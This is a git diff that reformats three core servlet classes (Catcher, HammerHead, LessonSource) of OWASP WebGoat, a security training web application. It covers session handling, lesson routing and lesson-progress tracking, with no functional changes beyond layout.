diff --git a/main/project/JavaSource/org/owasp/webgoat/Catcher.java b/main/project/JavaSource/org/owasp/webgoat/Catcher.java
index fdba04082..563a91688 100644
--- a/main/project/JavaSource/org/owasp/webgoat/Catcher.java
+++ b/main/project/JavaSource/org/owasp/webgoat/Catcher.java
@@ -1,121 +1,116 @@
+
package org.owasp.webgoat;
import java.io.IOException;
import java.util.Enumeration;
-
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
-
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
- *
- * @author Bruce Mayhew WebGoat
- * @created March 13, 2007
+ *
+ * @author Bruce Mayhew WebGoat
+ * @created March 13, 2007
*/
public class Catcher extends HammerHead
{
- /**
+ /**
*
*/
private static final long serialVersionUID = 7441856110845727651L;
/**
- * Description of the Field
- */
- public final static String START_SOURCE_SKIP = "START_OMIT_SOURCE";
+ * Description of the Field
+ */
+ public final static String START_SOURCE_SKIP = "START_OMIT_SOURCE";
- public final static String END_SOURCE_SKIP = "END_OMIT_SOURCE";
+ public final static String END_SOURCE_SKIP = "END_OMIT_SOURCE";
- public static final String PROPERTY = "PROPERTY";
+ public static final String PROPERTY = "PROPERTY";
- public static final String EMPTY_STRING = "";
+ public static final String EMPTY_STRING = "";
-
- /**
- * Description of the Method
- *
- * @param request Description of the Parameter
- * @param response Description of the Parameter
- * @exception IOException Description of the Exception
- * @exception ServletException Description of the Exception
- */
- public void doPost(HttpServletRequest request, HttpServletResponse response)
- throws IOException, ServletException
- {
+ /**
+ * Description of the Method
+ *
+ * @param request
+ * Description of the Parameter
+ * @param response
+ * Description of the Parameter
+ * @exception IOException
+ * Description of the Exception
+ * @exception ServletException
+ * Description of the Exception
+ */
+ public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException
+ {
try
{
- //System.out.println( "Entering doPost: " );
- //System.out.println( " - request " + request);
- //System.out.println( " - principle: " + request.getUserPrincipal() );
- //setCacheHeaders(response, 0);
- WebSession session = (WebSession) request.getSession(true)
- .getAttribute(WebSession.SESSION);
- session.update(request, response, this.getServletName()); // FIXME: Too much in this call.
-
- int scr = session.getCurrentScreen();
- Course course = session.getCourse();
- AbstractLesson lesson = course.getLesson(session, scr,
- AbstractLesson.USER_ROLE);
+ // System.out.println( "Entering doPost: " );
+ // System.out.println( " - request " + request);
+ // System.out.println( " - principle: " + request.getUserPrincipal() );
+ // setCacheHeaders(response, 0);
+ WebSession session = (WebSession) request.getSession(true).getAttribute(WebSession.SESSION);
+ session.update(request, response, this.getServletName()); // FIXME: Too much in this
+ // call.
- log(request, lesson.getClass().getName() + " | "
- + session.getParser().toString());
-
- String property = new String(session.getParser().getStringParameter(
- PROPERTY, EMPTY_STRING));
-
- // if the PROPERTY parameter is available - write all the parameters to the
- // property file. No other control parameters are supported at this time.
- if ( !property.equals(EMPTY_STRING))
- {
- Enumeration e = session.getParser().getParameterNames();
+ int scr = session.getCurrentScreen();
+ Course course = session.getCourse();
+ AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE);
- while (e.hasMoreElements())
- {
- String name = (String) e.nextElement();
- String value= session.getParser().getParameterValues(name)[0];
- lesson.getLessonTracker(session).getLessonProperties().setProperty(
- name, value);
- }
- }
- lesson.getLessonTracker(session).store(session, lesson);
-
- }
- catch (Throwable t)
+ log(request, lesson.getClass().getName() + " | " + session.getParser().toString());
+
+ String property = new String(session.getParser().getStringParameter(PROPERTY, EMPTY_STRING));
+
+ // if the PROPERTY parameter is available - write all the parameters to the
+ // property file. No other control parameters are supported at this time.
+ if (!property.equals(EMPTY_STRING))
+ {
+ Enumeration e = session.getParser().getParameterNames();
+
+ while (e.hasMoreElements())
+ {
+ String name = (String) e.nextElement();
+ String value = session.getParser().getParameterValues(name)[0];
+ lesson.getLessonTracker(session).getLessonProperties().setProperty(name, value);
+ }
+ }
+ lesson.getLessonTracker(session).store(session, lesson);
+
+ } catch (Throwable t)
{
- t.printStackTrace();
- log("ERROR: " + t);
+ t.printStackTrace();
+ log("ERROR: " + t);
}
- }
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/HammerHead.java b/main/project/JavaSource/org/owasp/webgoat/HammerHead.java
index 0e3f8d6a9..09a3afd05 100644
--- a/main/project/JavaSource/org/owasp/webgoat/HammerHead.java
+++ b/main/project/JavaSource/org/owasp/webgoat/HammerHead.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat;
import java.io.IOException;
@@ -6,14 +7,12 @@ import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
import java.util.TimeZone;
-
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
-
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.WelcomeScreen;
import org.owasp.webgoat.lessons.admin.WelcomeAdminScreen;
@@ -24,32 +23,31 @@ import org.owasp.webgoat.session.UserTracker;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@@ -61,450 +59,420 @@ import org.owasp.webgoat.session.WebgoatContext;
public class HammerHead extends HttpServlet
{
- /**
+ /**
*
*/
private static final long serialVersionUID = 645640331343188020L;
/**
- * Description of the Field
- */
- protected static SimpleDateFormat httpDateFormat;
+ * Description of the Field
+ */
+ protected static SimpleDateFormat httpDateFormat;
- /**
- * Set the session timeout to be 2 days
- */
- private final static int sessionTimeoutSeconds = 60 * 60 * 24 * 2;
+ /**
+ * Set the session timeout to be 2 days
+ */
+ private final static int sessionTimeoutSeconds = 60 * 60 * 24 * 2;
- // private final static int sessionTimeoutSeconds = 1;
+ // private final static int sessionTimeoutSeconds = 1;
- /**
- * Properties file path
- */
- public static String propertiesPath = null;
+ /**
+ * Properties file path
+ */
+ public static String propertiesPath = null;
- /**
- * provides convenience methods for getting setup information
- * from the ServletContext
- */
- private WebgoatContext webgoatContext = null;
-
+ /**
+ * provides convenience methods for getting setup information from the ServletContext
+ */
+ private WebgoatContext webgoatContext = null;
- /**
- * Description of the Method
- *
- * @param request
- * Description of the Parameter
- * @param response
- * Description of the Parameter
- * @exception IOException
- * Description of the Exception
- * @exception ServletException
- * Description of the Exception
- */
- public void doGet(HttpServletRequest request, HttpServletResponse response)
- throws IOException, ServletException
- {
- doPost(request, response);
- }
-
-
- /**
- * Description of the Method
- *
- * @param request
- * Description of the Parameter
- * @param response
- * Description of the Parameter
- * @exception IOException
- * Description of the Exception
- * @exception ServletException
- * Description of the Exception
- */
- public void doPost(HttpServletRequest request, HttpServletResponse response)
- throws IOException, ServletException
- {
- Screen screen = null;
-
- WebSession mySession = null;
- try
+ /**
+ * Description of the Method
+ *
+ * @param request
+ * Description of the Parameter
+ * @param response
+ * Description of the Parameter
+ * @exception IOException
+ * Description of the Exception
+ * @exception ServletException
+ * Description of the Exception
+ */
+ public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException
{
- // System.out.println( "HH Entering doPost: " );
- // System.out.println( " - HH request " + request);
- // System.out.println( " - HH principle: " +
- // request.getUserPrincipal() );
- // setCacheHeaders(response, 0);
- ServletContext context = getServletContext();
-
- // FIXME: If a response is written by updateSession(), do not
- // call makeScreen() and writeScreen()
- mySession = updateSession(request, response, context);
- if (response.isCommitted())
- return;
-
- // Note: For the lesson to track the status, we need to update
- // the lesson tracker object
- // from the screen.createContent() method. The create content is
- // the only point
- // where the lesson "knows" what has happened. To track it at a
- // latter point would
- // require the lesson to have memory.
- screen = makeScreen(mySession); // This calls the lesson's
- // handleRequest()
- if (response.isCommitted())
- return;
-
- // perform lesson-specific tracking activities
- if (screen instanceof AbstractLesson) {
- AbstractLesson lesson = (AbstractLesson) screen;
-
- // we do not count the initial display of the lesson screen as a visit
- if ("GET".equals(request.getMethod())) {
- String uri = request.getRequestURI() + "?" + request.getQueryString();
- if (! uri.endsWith(lesson.getLink()))
- screen.getLessonTracker(mySession).incrementNumVisits();
- } else if ("POST".equals(request.getMethod()) && mySession.getPreviousScreen() == mySession.getCurrentScreen()) {
- screen.getLessonTracker(mySession).incrementNumVisits();
- }
- }
-
- // log the access to this screen for this user
- UserTracker userTracker = UserTracker.instance();
- userTracker.update(mySession, screen);
- log(request, screen.getClass().getName() + " | "
- + mySession.getParser().toString());
-
- // Redirect the request to our View servlet
- String userAgent = request.getHeader("user-agent");
- String clientBrowser = "Not known!";
- if (userAgent != null)
- {
- clientBrowser = userAgent;
- }
- request.setAttribute("client.browser", clientBrowser);
- request.getSession().setAttribute("websession", mySession);
- request.getSession().setAttribute("course", mySession.getCourse());
-
- request.getRequestDispatcher(getViewPage(mySession)).forward(
- request, response);
+ doPost(request, response);
}
- catch (Throwable t)
+
+ /**
+ * Description of the Method
+ *
+ * @param request
+ * Description of the Parameter
+ * @param response
+ * Description of the Parameter
+ * @exception IOException
+ * Description of the Exception
+ * @exception ServletException
+ * Description of the Exception
+ */
+ public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException
{
- t.printStackTrace();
- log("ERROR: " + t);
- screen = new ErrorScreen(mySession, t);
- }
- finally
- {
- try
- {
- this.writeScreen(mySession, screen, response);
- }
- catch (Throwable thr)
- {
- thr.printStackTrace();
- log(request, "Could not write error screen: "
- + thr.getMessage());
- }
- WebSession.returnConnection(mySession);
- // System.out.println( "HH Leaving doPost: " );
- }
- }
+ Screen screen = null;
-
- private String getViewPage(WebSession webSession)
- {
- String page;
-
- // If this session has not seen the landing page yet, go there instead.
- HttpSession session = webSession.getRequest().getSession();
- if (session.getAttribute("welcomed") == null)
- {
- session.setAttribute("welcomed", "true");
- page = "/webgoat.jsp";
- }
- else
- page = "/main.jsp";
-
- return page;
- }
-
- /**
- * Description of the Method
- *
- * @param date
- * Description of the Parameter
- * @return RFC 1123 http date format
- */
- protected static String formatHttpDate(Date date)
- {
- synchronized (httpDateFormat)
- {
- return httpDateFormat.format(date);
- }
- }
-
-
- /**
- * Return information about this servlet
- *
- * @return The servletInfo value
- */
- public String getServletInfo()
- {
- return "WebGoat is sponsored by Aspect Security.";
- }
-
-
- /**
- * Return properties path
- *
- * @return servlet context path + WEB_INF
- */
- public void init() throws ServletException
- {
- httpDateFormat = new SimpleDateFormat("EEE, dd MMM yyyyy HH:mm:ss z",
- Locale.US);
- httpDateFormat.setTimeZone(TimeZone.getTimeZone("GMT"));
- propertiesPath = getServletContext().getRealPath(
- "./WEB-INF/webgoat.properties");
- webgoatContext = new WebgoatContext(this);
- }
-
-
- /**
- * Description of the Method
- *
- * @param request
- * Description of the Parameter
- * @param message
- * Description of the Parameter
- */
- public void log(HttpServletRequest request, String message)
- {
- String output = new Date() + " | " + request.getRemoteHost() + ":"
- + request.getRemoteAddr() + " | " + message;
- log(output);
- System.out.println(output);
- }
-
- /*
- * public List getLessons(Category category, String role) { Course
- * course = mySession.getCourse(); // May need to clone the List before
- * returning it. //return new ArrayList(course.getLessons(category,
- * role)); return course.getLessons(category, role); }
- */
-
- /**
- * Description of the Method
- *
- * @param s
- * Description of the Parameter
- * @return Description of the Return Value
- */
- protected Screen makeScreen(WebSession s)
- {
- Screen screen = null;
- int scr = s.getCurrentScreen();
- Course course = s.getCourse();
-
- if (s.isUser() || s.isChallenge())
- {
- if (scr == WebSession.WELCOME)
- {
- screen = new WelcomeScreen(s);
- }
- else
- {
- AbstractLesson lesson = course.getLesson(s, scr,
- AbstractLesson.USER_ROLE);
- if (lesson == null && s.isHackedAdmin())
+ WebSession mySession = null;
+ try
{
- // If admin was hacked, let the user see some of the
- // admin screens
- lesson = course.getLesson(s, scr,
- AbstractLesson.HACKED_ADMIN_ROLE);
+ // System.out.println( "HH Entering doPost: " );
+ // System.out.println( " - HH request " + request);
+ // System.out.println( " - HH principle: " +
+ // request.getUserPrincipal() );
+ // setCacheHeaders(response, 0);
+ ServletContext context = getServletContext();
+
+ // FIXME: If a response is written by updateSession(), do not
+ // call makeScreen() and writeScreen()
+ mySession = updateSession(request, response, context);
+ if (response.isCommitted()) return;
+
+ // Note: For the lesson to track the status, we need to update
+ // the lesson tracker object
+ // from the screen.createContent() method. The create content is
+ // the only point
+ // where the lesson "knows" what has happened. To track it at a
+ // latter point would
+ // require the lesson to have memory.
+ screen = makeScreen(mySession); // This calls the lesson's
+ // handleRequest()
+ if (response.isCommitted()) return;
+
+ // perform lesson-specific tracking activities
+ if (screen instanceof AbstractLesson)
+ {
+ AbstractLesson lesson = (AbstractLesson) screen;
+
+ // we do not count the initial display of the lesson screen as a visit
+ if ("GET".equals(request.getMethod()))
+ {
+ String uri = request.getRequestURI() + "?" + request.getQueryString();
+ if (!uri.endsWith(lesson.getLink())) screen.getLessonTracker(mySession).incrementNumVisits();
+ }
+ else if ("POST".equals(request.getMethod())
+ && mySession.getPreviousScreen() == mySession.getCurrentScreen())
+ {
+ screen.getLessonTracker(mySession).incrementNumVisits();
+ }
+ }
+
+ // log the access to this screen for this user
+ UserTracker userTracker = UserTracker.instance();
+ userTracker.update(mySession, screen);
+ log(request, screen.getClass().getName() + " | " + mySession.getParser().toString());
+
+ // Redirect the request to our View servlet
+ String userAgent = request.getHeader("user-agent");
+ String clientBrowser = "Not known!";
+ if (userAgent != null)
+ {
+ clientBrowser = userAgent;
+ }
+ request.setAttribute("client.browser", clientBrowser);
+ request.getSession().setAttribute("websession", mySession);
+ request.getSession().setAttribute("course", mySession.getCourse());
+
+ request.getRequestDispatcher(getViewPage(mySession)).forward(request, response);
+ } catch (Throwable t)
+ {
+ t.printStackTrace();
+ log("ERROR: " + t);
+ screen = new ErrorScreen(mySession, t);
+ } finally
+ {
+ try
+ {
+ this.writeScreen(mySession, screen, response);
+ } catch (Throwable thr)
+ {
+ thr.printStackTrace();
+ log(request, "Could not write error screen: " + thr.getMessage());
+ }
+ WebSession.returnConnection(mySession);
+ // System.out.println( "HH Leaving doPost: " );
+ }
+ }
+
+ private String getViewPage(WebSession webSession)
+ {
+ String page;
+
+ // If this session has not seen the landing page yet, go there instead.
+ HttpSession session = webSession.getRequest().getSession();
+ if (session.getAttribute("welcomed") == null)
+ {
+ session.setAttribute("welcomed", "true");
+ page = "/webgoat.jsp";
+ }
+ else
+ page = "/main.jsp";
+
+ return page;
+ }
+
+ /**
+ * Description of the Method
+ *
+ * @param date
+ * Description of the Parameter
+ * @return RFC 1123 http date format
+ */
+ protected static String formatHttpDate(Date date)
+ {
+ synchronized (httpDateFormat)
+ {
+ return httpDateFormat.format(date);
+ }
+ }
+
+ /**
+ * Return information about this servlet
+ *
+ * @return The servletInfo value
+ */
+ public String getServletInfo()
+ {
+ return "WebGoat is sponsored by Aspect Security.";
+ }
+
+ /**
+ * Return properties path
+ *
+ * @return servlet context path + WEB_INF
+ */
+ public void init() throws ServletException
+ {
+ httpDateFormat = new SimpleDateFormat("EEE, dd MMM yyyyy HH:mm:ss z", Locale.US);
+ httpDateFormat.setTimeZone(TimeZone.getTimeZone("GMT"));
+ propertiesPath = getServletContext().getRealPath("./WEB-INF/webgoat.properties");
+ webgoatContext = new WebgoatContext(this);
+ }
+
+ /**
+ * Description of the Method
+ *
+ * @param request
+ * Description of the Parameter
+ * @param message
+ * Description of the Parameter
+ */
+ public void log(HttpServletRequest request, String message)
+ {
+ String output = new Date() + " | " + request.getRemoteHost() + ":" + request.getRemoteAddr() + " | " + message;
+ log(output);
+ System.out.println(output);
+ }
+
+ /*
+ * public List getLessons(Category category, String role) { Course course =
+ * mySession.getCourse(); // May need to clone the List before returning it. //return new
+ * ArrayList(course.getLessons(category, role)); return course.getLessons(category, role); }
+ */
+
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected Screen makeScreen(WebSession s)
+ {
+ Screen screen = null;
+ int scr = s.getCurrentScreen();
+ Course course = s.getCourse();
+
+ if (s.isUser() || s.isChallenge())
+ {
+ if (scr == WebSession.WELCOME)
+ {
+ screen = new WelcomeScreen(s);
+ }
+ else
+ {
+ AbstractLesson lesson = course.getLesson(s, scr, AbstractLesson.USER_ROLE);
+ if (lesson == null && s.isHackedAdmin())
+ {
+ // If admin was hacked, let the user see some of the
+ // admin screens
+ lesson = course.getLesson(s, scr, AbstractLesson.HACKED_ADMIN_ROLE);
+ }
+
+ if (lesson != null)
+ {
+ screen = lesson;
+
+ // We need to do some bookkeeping for the hackable admin
+ // interface.
+ // This is the only place we can tell if the user
+ // successfully hacked the hackable
+ // admin and has actually accessed an admin screen. You
+ // need BOTH pieces of information
+ // in order to satisfy the remote admin lesson.
+
+ s.setHasHackableAdmin(screen.getRole());
+
+ lesson.handleRequest(s);
+ s.setCurrentMenu(lesson.getCategory().getRanking());
+ }
+ else
+ {
+ screen = new ErrorScreen(s, "Invalid screen requested. Try: http://localhost/WebGoat/attack");
+ }
+ }
+ }
+ else if (s.isAdmin())
+ {
+ if (scr == WebSession.WELCOME)
+ {
+ screen = new WelcomeAdminScreen(s);
+ }
+ else
+ {
+ // Admin can see all roles.
+ // FIXME: should be able to pass a list of roles.
+ AbstractLesson lesson = course.getLesson(s, scr, AbstractLesson.ADMIN_ROLE);
+ if (lesson == null)
+ {
+ lesson = course.getLesson(s, scr, AbstractLesson.HACKED_ADMIN_ROLE);
+ }
+ if (lesson == null)
+ {
+ lesson = course.getLesson(s, scr, AbstractLesson.USER_ROLE);
+ }
+
+ if (lesson != null)
+ {
+ screen = lesson;
+
+ // We need to do some bookkeeping for the hackable admin
+ // interface.
+ // This is the only place we can tell if the user
+ // successfully hacked the hackable
+ // admin and has actually accessed an admin screen. You
+ // need BOTH pieces of information
+ // in order to satisfy the remote admin lesson.
+
+ s.setHasHackableAdmin(screen.getRole());
+
+ lesson.handleRequest(s);
+ s.setCurrentMenu(lesson.getCategory().getRanking());
+ }
+ else
+ {
+ screen = new ErrorScreen(s,
+ "Invalid screen requested. Try Setting Admin to false or Try: http://localhost/WebGoat/attack");
+ }
+ }
}
- if (lesson != null)
+ return (screen);
+ }
+
+ /**
+ * This method sets the required expiration headers in the response for a given RunData object.
+ * This method attempts to set all relevant headers, both for HTTP 1.0 and HTTP 1.1.
+ *
+ * @param response
+ * The new cacheHeaders value
+ * @param expiry
+ * The new cacheHeaders value
+ */
+ protected static void setCacheHeaders(HttpServletResponse response, int expiry)
+ {
+ if (expiry == 0)
{
- screen = lesson;
-
- // We need to do some bookkeeping for the hackable admin
- // interface.
- // This is the only place we can tell if the user
- // successfully hacked the hackable
- // admin and has actually accessed an admin screen. You
- // need BOTH pieces of information
- // in order to satisfy the remote admin lesson.
-
- s.setHasHackableAdmin(screen.getRole());
-
- lesson.handleRequest(s);
- s.setCurrentMenu(lesson.getCategory().getRanking());
+ response.setHeader("Pragma", "no-cache");
+ response.setHeader("Cache-Control", "no-cache");
+ response.setHeader("Expires", formatHttpDate(new Date()));
}
else
{
- screen = new ErrorScreen(s,
- "Invalid screen requested. Try: http://localhost/WebGoat/attack");
+ Date expiryDate = new Date(System.currentTimeMillis() + expiry);
+ response.setHeader("Expires", formatHttpDate(expiryDate));
}
- }
}
- else if (s.isAdmin())
+
+ /**
+ * Description of the Method
+ *
+ * @param request
+ * Description of the Parameter
+ * @param response
+ * Description of the Parameter
+ * @param context
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected WebSession updateSession(HttpServletRequest request, HttpServletResponse response, ServletContext context)
+ throws IOException
{
- if (scr == WebSession.WELCOME)
- {
- screen = new WelcomeAdminScreen(s);
- }
- else
- {
- // Admin can see all roles.
- // FIXME: should be able to pass a list of roles.
- AbstractLesson lesson = course.getLesson(s, scr,
- AbstractLesson.ADMIN_ROLE);
- if (lesson == null)
+ HttpSession hs;
+ hs = request.getSession(true);
+
+ // System.out.println( "HH Entering Session_id: " + hs.getId() );
+ // dumpSession( hs );
+ // Get our session object out of the HTTP session
+ WebSession session = null;
+ Object o = hs.getAttribute(WebSession.SESSION);
+
+ if ((o != null) && o instanceof WebSession)
{
- lesson = course.getLesson(s, scr,
- AbstractLesson.HACKED_ADMIN_ROLE);
- }
- if (lesson == null)
- {
- lesson = course.getLesson(s, scr, AbstractLesson.USER_ROLE);
- }
-
- if (lesson != null)
- {
- screen = lesson;
-
- // We need to do some bookkeeping for the hackable admin
- // interface.
- // This is the only place we can tell if the user
- // successfully hacked the hackable
- // admin and has actually accessed an admin screen. You
- // need BOTH pieces of information
- // in order to satisfy the remote admin lesson.
-
- s.setHasHackableAdmin(screen.getRole());
-
- lesson.handleRequest(s);
- s.setCurrentMenu(lesson.getCategory().getRanking());
+ session = (WebSession) o;
}
else
{
- screen = new ErrorScreen(
- s,
- "Invalid screen requested. Try Setting Admin to false or Try: http://localhost/WebGoat/attack");
+ // Create new custom session and save it in the HTTP session
+ // System.out.println( "HH Creating new WebSession: " );
+ session = new WebSession(webgoatContext, context);
+ hs.setAttribute(WebSession.SESSION, session);
+ // reset timeout
+ hs.setMaxInactiveInterval(sessionTimeoutSeconds);
+
}
- }
+
+ session.update(request, response, this.getServletName());
+
+ // to authenticate
+ // System.out.println( "HH Leaving Session_id: " + hs.getId() );
+ // dumpSession( hs );
+ return (session);
}
- return (screen);
- }
-
-
- /**
- * This method sets the required expiration headers in the response for
- * a given RunData object. This method attempts to set all relevant
- * headers, both for HTTP 1.0 and HTTP 1.1.
- *
- * @param response
- * The new cacheHeaders value
- * @param expiry
- * The new cacheHeaders value
- */
- protected static void setCacheHeaders(HttpServletResponse response,
- int expiry)
- {
- if (expiry == 0)
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @param response
+ * Description of the Parameter
+ * @exception IOException
+ * Description of the Exception
+ */
+ protected void writeScreen(WebSession s, Screen screen, HttpServletResponse response) throws IOException
{
- response.setHeader("Pragma", "no-cache");
- response.setHeader("Cache-Control", "no-cache");
- response.setHeader("Expires", formatHttpDate(new Date()));
+ response.setContentType("text/html");
+
+ PrintWriter out = response.getWriter();
+
+ if (s == null)
+ {
+ screen = new ErrorScreen(s, "Page to display was null");
+ }
+
+ // set the content-length of the response.
+ // Trying to avoid chunked-encoding. (Aspect required)
+ response.setContentLength(screen.getContentLength());
+ response.setHeader("Content-Length", screen.getContentLength() + "");
+
+ screen.output(out);
+ out.close();
}
- else
- {
- Date expiryDate = new Date(System.currentTimeMillis() + expiry);
- response.setHeader("Expires", formatHttpDate(expiryDate));
- }
- }
-
-
- /**
- * Description of the Method
- *
- * @param request
- * Description of the Parameter
- * @param response
- * Description of the Parameter
- * @param context
- * Description of the Parameter
- * @return Description of the Return Value
- */
- protected WebSession updateSession(HttpServletRequest request,
- HttpServletResponse response, ServletContext context)
- throws IOException
- {
- HttpSession hs;
- hs = request.getSession(true);
-
- // System.out.println( "HH Entering Session_id: " + hs.getId() );
- // dumpSession( hs );
- // Get our session object out of the HTTP session
- WebSession session = null;
- Object o = hs.getAttribute(WebSession.SESSION);
-
- if ((o != null) && o instanceof WebSession)
- {
- session = (WebSession) o;
- }
- else
- {
- // Create new custom session and save it in the HTTP session
- // System.out.println( "HH Creating new WebSession: " );
- session = new WebSession(webgoatContext, context);
- hs.setAttribute(WebSession.SESSION, session);
- // reset timeout
- hs.setMaxInactiveInterval(sessionTimeoutSeconds);
-
- }
-
- session.update(request, response, this.getServletName());
-
- // to authenticate
- // System.out.println( "HH Leaving Session_id: " + hs.getId() );
- // dumpSession( hs );
- return (session);
- }
-
-
- /**
- * Description of the Method
- *
- * @param s
- * Description of the Parameter
- * @param response
- * Description of the Parameter
- * @exception IOException
- * Description of the Exception
- */
- protected void writeScreen(WebSession s, Screen screen, HttpServletResponse response)
- throws IOException
- {
- response.setContentType("text/html");
-
- PrintWriter out = response.getWriter();
-
- if (s == null)
- {
- screen = new ErrorScreen(s, "Page to display was null");
- }
-
- // set the content-length of the response.
- // Trying to avoid chunked-encoding. (Aspect required)
- response.setContentLength(screen.getContentLength());
- response.setHeader("Content-Length", screen.getContentLength() + "");
-
- screen.output(out);
- out.close();
- }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/LessonSource.java b/main/project/JavaSource/org/owasp/webgoat/LessonSource.java
index f4043bace..20f4c1dc5 100644
--- a/main/project/JavaSource/org/owasp/webgoat/LessonSource.java
+++ b/main/project/JavaSource/org/owasp/webgoat/LessonSource.java
@@ -1,42 +1,40 @@
+
package org.owasp.webgoat;
import java.io.IOException;
import java.io.PrintWriter;
-
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
-
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@@ -98,7 +96,8 @@ public class LessonSource extends HammerHead
AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE);
lesson.getLessonTracker(session).setViewedSolution(true);
- } else if (showSource)
+ }
+ else if (showSource)
{
// Get the Java source of the lesson. FIXME: Not needed
